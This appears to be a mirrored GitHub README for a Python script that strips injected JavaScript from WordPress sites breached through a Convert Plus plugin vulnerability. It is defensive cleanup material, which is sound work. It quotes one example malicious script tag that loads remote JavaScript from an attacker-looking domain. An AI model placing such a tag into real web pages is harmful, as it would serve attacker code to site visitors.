GithubHelp home page GithubHelp logo

zeromika / convertplug-js-injection-remover Goto Github PK

View Code? Open in Web Editor NEW
1.0 1.0 1.0 7 KB

Wordpress Spam Attack Removal Script, Javascript Injection Remover

License: MIT License

Python 100.00%
wordpress script malware-protection spam-protection spam-remover

convertplug-js-injection-remover's Introduction

Wordpress Spam Attack Removal Script

Written in Python and compatible with both Python2 and Python3.

This script essentially removes spam attack injections from a given path. The convertplug plugin that comes with Avada which has a vulnurability disclosed by Wordfence have caused numerous sites to be breached, unauthorized users have access to content,code and database. This script should be only utilized to clean injected javascript snippets from the themes and any other place where it might be.

You can read the details about vulnerability from here

https://www.wordfence.com/blog/2019/05/critical-vulnerability-patched-in-popular-convert-plus-plugin/

Considirations

This script utilizes RAM while reading files and does not discriminate file extensions and checks all files. This can be improved by various methods.

PS : This script does replaces text that is inside the "database.json" does not locates or scans shells.

Scope

There are 4 specific JS injections that has occured after this vulnurability and the database.json contains only those records. In case you want to add further javascript/to be replaced you can use insert.py.

Example Injected Script

<script type='text/javascript' async src='https://css.developmyredflag.top/sjquery.min.js?style=prime&'></script>

Various kinds of scripts exists like these and this tool/script automizes the removal process without breaking themes, plugins and sites as a whole.

Example Usage

Script is written for Python 2.7+. Logs the altered files to show which files were affected.

Install the dependencies and devDependencies and start the server.

Example Insert Operation

python insert.py "string_in_double_quotes"

Example Cleanup Operation

python cleanup.py your_domain.com

or entering a full path like

python cleanup.py /home/user/your_domain.com

License

License can be found under LICENSE in this repository.

convertplug-js-injection-remover's People

Contributors

zeromika avatar

Stargazers

 avatar

Watchers

 avatar

Forkers

m4k3r-org

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.